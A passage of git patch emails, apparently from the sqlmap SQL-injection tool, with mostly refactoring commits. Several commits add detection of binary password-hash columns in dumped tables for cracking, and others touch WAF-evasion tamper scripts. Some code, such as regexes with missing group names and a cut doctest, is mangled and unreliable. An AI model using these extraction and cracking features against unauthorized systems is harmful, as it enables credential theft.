- def add(self, key): - if key not in self.map: + def add(self, value): + if value not in self.map: end = self.end curr = end[1] - curr[2] = end[1] = self.map[key] = [key, curr, end] + curr[2] = end[1] = self.map[value] = [value, curr, end] - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) + def discard(self, value): + if value in self.map: + value, prev, next = self.map.pop(value) prev[2] = next next[1] = prev diff --git a/lib/core/dump.py b/lib/core/dump.py index 0a1b3979ee8..6c65800757d 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -468,8 +468,7 @@ def dbTableValues(self, tableValues): shutil.copyfile(dumpFileName, candidate) except IOError: pass - finally: - break + break else: count += 1 diff --git a/lib/core/option.py b/lib/core/option.py index 4b0087a6a2a..9fef8f3e63e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -838,6 +838,7 @@ def _setPreprocessFunctions(): if conf.preprocess: for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): found = False + function = None script = safeFilepathEncode(script.strip()) diff --git a/lib/core/replication.py b/lib/core/replication.py index 8378392890f..e6871061885 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -79,9 +79,9 @@ def insert(self, values): errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) - def execute(self, sql, parameters=[]): + def execute(self, sql, parameters=None): try: - self.parent.cursor.execute(sql, parameters) + self.parent.cursor.execute(sql, parameters or []) except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath diff --git a/lib/core/settings.py b/lib/core/settings.py index 34351bc412a..988c37df5ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.154" +VERSION = "1.3.5.155" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 77ae798f67e..6d5a60f29a4 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -53,11 +53,11 @@ def startElement(self, name, attrs): elif name == "servicepack": self._inServicePack = True - def characters(self, data): + def characters(self, content): if self._inVersion: - self._version += sanitizeStr(data) + self._version += sanitizeStr(content) elif self._inServicePack: - self._servicePack += sanitizeStr(data) + self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 733fdf57078..f3b16f9e518 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -57,10 +57,10 @@ class _GetchMacCarbon(object): """ def __init__(self): import Carbon - Carbon.Evt # see if it has this (in Unix, it doesn't) + + _ = Carbon.Evt # see if it has this (in Unix, it doesn't) def __call__(self): - import Carbon if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 50841060300..ef521fa40e3 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -635,7 +635,7 @@ def attackDumpedTable(): col_passwords = set() attack_dict = {} - for column in sorted(columns, key=lambda _: len(_), reverse=True): + for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 4f661769f06..a08f1f2c3cb 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -11,7 +11,7 @@ from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import TIMEOUT_STATE -def timeout(func, args=(), kwargs={}, duration=1, default=None): +def timeout(func, args=None, kwargs=None, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) @@ -20,7 +20,7 @@ def __init__(self): def run(self): try: - self.result = func(*args, **kwargs) + self.result = func(*(args or ()), **(kwargs or {})) self.timeout_state = TIMEOUT_STATE.NORMAL except Exception as ex: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, ex) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 8bdb407b9ee..962f7f6254c 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -66,9 +66,6 @@ def step(self): def __hash__(self): return hash(self._slice) - def __cmp__(self, other): - return (cmp(type(self), type(other)) or cmp(self._slice, other._slice)) - def __repr__(self): return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) From 257fa3e9e44e8fe8e0aa8588fef6338c24454b67 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 May 2019 22:55:54 +0200 Subject: [PATCH 427/800] Minor refactoring --- lib/core/settings.py | 2 +- plugins/dbms/access/enumeration.py | 4 ++-- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/sqlite/enumeration.py | 4 ++-- plugins/dbms/sybase/enumeration.py | 2 +- plugins/generic/custom.py | 8 ++++---- tamper/bluecoat.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/space2morehash.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- 14 files changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 988c37df5ba..0fa57c650c4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.155" +VERSION = "1.3.5.156" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index a20c59ddf7b..fed692ae81b 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -23,7 +23,7 @@ def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warn(warnMsg) - def isDba(self): + def isDba(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warn(warnMsg) @@ -39,7 +39,7 @@ def getPasswordHashes(self): return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 23ee0dfffba..e72cb36bb97 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -29,7 +29,7 @@ def getBanner(self): return kb.data.banner - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on H2 it is not possible to enumerate the user privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 2b4dcd589b8..91ad3d7342c 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -29,7 +29,7 @@ def getBanner(self): return kb.data.banner - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 53fd81c84dd..120e8447e22 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -217,7 +217,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index e7a19564010..b39b9d7d486 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -33,7 +33,7 @@ from thirdparty import six class Enumeration(GenericEnumeration): - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 4812f57a076..60a6afbd592 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -18,7 +18,7 @@ def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warn(warnMsg) - def isDba(self): + def isDba(self, *args, **kwargs): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) @@ -36,7 +36,7 @@ def getPasswordHashes(self): return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 19e3532f804..78b1113f820 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -53,7 +53,7 @@ def getUsers(self): return kb.data.cachedUsers - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index ccee31a5bde..7fb200d30e3 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -54,11 +54,11 @@ def sqlQuery(self, query): return output elif not isStackingAvailable() and not conf.direct: - warnMsg = "execution of non-query SQL statements is only " - warnMsg += "available when stacked queries are supported" - logger.warn(warnMsg) + warnMsg = "execution of non-query SQL statements is only " + warnMsg += "available when stacked queries are supported" + logger.warn(warnMsg) - return None + return None else: if sqlType: debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 4b88a3985c5..0ec2af80c13 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -43,7 +43,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 7a40f9f4c61..3d4f91d2a61 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -49,7 +49,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 614a3c2246a..ad10c6eea0b 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -54,7 +54,7 @@ def process(match): retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) + payload = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, payload) for i in xrange(len(payload)): if payload[i].isspace(): diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index af27d4cbe50..e2c3fcc4d46 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -46,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 4f926344228..035a05a7953 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -47,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal From 9b6d30da0d0c12379858f0324dc627d3b81bf7d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 May 2019 00:17:50 +0200 Subject: [PATCH 428/800] Minor improvement for international strings in payloads --- lib/core/settings.py | 2 +- lib/core/unescaper.py | 3 --- plugins/generic/syntax.py | 13 ++++++++++--- 3 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0fa57c650c4..7e97029c043 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.156" +VERSION = "1.3.5.157" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e95378b1575..ece7e1240b2 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -12,9 +12,6 @@ class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): - if conf.noEscape: - return expression - if expression is None: return expression diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index ccbeb4b6967..b4e916104b2 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -7,6 +7,8 @@ import re +from lib.core.convert import getBytes +from lib.core.data import conf from lib.core.exception import SqlmapUndefinedMethod class Syntax(object): @@ -23,9 +25,14 @@ def _escape(expression, quote=True, escaper=None): if quote: for item in re.findall(r"'[^']*'+", expression): - _ = item[1:-1] - if _: - retVal = retVal.replace(item, escaper(_)) + original = item[1:-1] + if original: + replacement = escaper(original) if not conf.noEscape else original + + if replacement != original: + retVal = retVal.replace(item, replacement) + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal: + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) From 42ef5618c3277b6d4c3d29f65956773d6922cd0a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 May 2019 11:57:32 +0200 Subject: [PATCH 429/800] Automatically detecting RAW password hashes in table dumps --- lib/core/settings.py | 5 ++++- lib/utils/hash.py | 17 +++++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7e97029c043..c1f230f9ac3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.157" +VERSION = "1.3.5.158" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -639,6 +639,9 @@ # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ef521fa40e3..74c8aeecc26 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -82,9 +82,11 @@ from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL @@ -634,12 +636,24 @@ def attackDumpedTable(): col_user = '' col_passwords = set() attack_dict = {} + binary_fields = OrderedSet() for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break + for column in columns: + if column != "__infos__": + if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in value for value in table[column]["values"]): + binary_fields.add(column) + + if binary_fields: + _ = ','.join(binary_fields) + warnMsg = "potential binary fields detected ('%s'). You are " % _ + warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ + logger.warn(warnMsg) + for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break @@ -653,6 +667,9 @@ def attackDumpedTable(): value = table[column]["values"][i] + if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: + value = encodeHex(value, binary=False) + if hashRecognition(value): found = True From b39a1ad0a7fb3c547cafe3ccc3f235e1dea69f4c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 May 2019 15:42:20 +0200 Subject: [PATCH 430/800] Fixes #3731 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c1f230f9ac3..beecd1a6e43 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.158" +VERSION = "1.3.5.159" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index c71b678442f..10636fc4506 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -708,7 +708,7 @@ class _(dict): warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" - match = re.search(r"Errno \d+\] ([^>]+)", tbMsg) + match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) if match: warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: From 9a7d9a601745eec5930e69ba054a44ee452b7052 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 May 2019 23:32:28 +0200 Subject: [PATCH 431/800] Couple of patches (related to previous commit) --- lib/core/convert.py | 6 +++--- lib/core/settings.py | 2 +- lib/utils/hash.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 5ce6d41a20c..a8cdfe1c249 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -75,8 +75,8 @@ def htmlUnescape(value): """ Returns (basic conversion) HTML unescaped value - >>> htmlUnescape('a<b') - 'a>> htmlUnescape('a<b') == 'a...) -VERSION = "1.3.5.159" +VERSION = "1.3.5.160" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 74c8aeecc26..96217fb4922 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -668,7 +668,7 @@ def attackDumpedTable(): value = table[column]["values"][i] if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: - value = encodeHex(value, binary=False) + value = encodeHex(getBytes(value), binary=False) if hashRecognition(value): found = True From 2f5a5e57264500850510ccac2ac4d87011cd4ce6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 00:31:26 +0200 Subject: [PATCH 432/800] Fine tuning raw/binary/blob password hash cases --- lib/core/patch.py | 4 ++++ lib/core/settings.py | 2 +- lib/utils/hash.py | 6 +++++- 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/core/patch.py b/lib/core/patch.py index 085e54e1b9a..874ce8c434d 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -16,6 +16,7 @@ import lib.utils.search import lib.utils.sqlalchemy import thirdparty.ansistrm.ansistrm +import thirdparty.chardet.universaldetector from lib.request.templates import getPageTemplate @@ -54,6 +55,9 @@ def _(self, *args): _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline _http_client.LineAndFileWrapper.readline = _ + # to prevent too much "guessing" in case of binary data retrieval + thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index 992932228c8..2f3e06fa6d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.160" +VERSION = "1.3.5.161" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 96217fb4922..a3314b656c3 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -637,6 +637,7 @@ def attackDumpedTable(): col_passwords = set() attack_dict = {} binary_fields = OrderedSet() + replacements = {} for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: @@ -668,7 +669,9 @@ def attackDumpedTable(): value = table[column]["values"][i] if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: + previous = value value = encodeHex(getBytes(value), binary=False) + replacements[value] = previous if hashRecognition(value): found = True @@ -703,7 +706,8 @@ def attackDumpedTable(): for (_, hash_, password) in results: if hash_: - lut[hash_.lower()] = password + key = hash_ if hash_ not in replacements else replacements[hash_] + lut[key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) From 956b0eb69ddf4bdbcb4daf0e3d592448715e61f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 00:44:10 +0200 Subject: [PATCH 433/800] Trivial message update --- lib/core/settings.py | 2 +- lib/utils/hash.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f3e06fa6d2..9d5d5cf7823 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.161" +VERSION = "1.3.5.162" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index a3314b656c3..fd2695d75b9 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -651,7 +651,7 @@ def attackDumpedTable(): if binary_fields: _ = ','.join(binary_fields) - warnMsg = "potential binary fields detected ('%s'). You are " % _ + warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ logger.warn(warnMsg) From 94c00fd3bc21bad0bc9caac88f4204fb237deb22 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 00:53:47 +0200 Subject: [PATCH 434/800] Trivial refactoring --- lib/core/settings.py | 2 +- lib/core/unescaper.py | 1 - lib/techniques/blind/inference.py | 2 +- lib/utils/getch.py | 4 +++- lib/utils/xrange.py | 2 -- 5 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d5d5cf7823..63118555153 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.162" +VERSION = "1.3.5.163" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index ece7e1240b2..e2e33e84d35 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -6,7 +6,6 @@ """ from lib.core.common import Backend -from lib.core.data import conf from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 79b89f3442e..d0ccf66d8fb 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -279,7 +279,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return None maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False diff --git a/lib/utils/getch.py b/lib/utils/getch.py index f3b16f9e518..84e099e5d8a 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -58,9 +58,11 @@ class _GetchMacCarbon(object): def __init__(self): import Carbon - _ = Carbon.Evt # see if it has this (in Unix, it doesn't) + getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): + import Carbon + if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 962f7f6254c..a8b3d69a159 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -7,8 +7,6 @@ import numbers -from lib.core.compat import cmp - class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) From de57a282239f8057a864e109091bce2b1e5b7637 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 00:55:36 +0200 Subject: [PATCH 435/800] Pleasing Travis CI --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e50c57d6059..33ad7e5d487 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2640,7 +2640,7 @@ def extractErrorMessage(page): """ Returns reported error message from page if it founds one - >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') + >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None True diff --git a/lib/core/settings.py b/lib/core/settings.py index 63118555153..aada5b9dd9e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.163" +VERSION = "1.3.5.164" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f0306af58dd7fdd7ec53b623961ef79fe460fccc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 09:17:21 +0200 Subject: [PATCH 436/800] Fixes #3732 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py 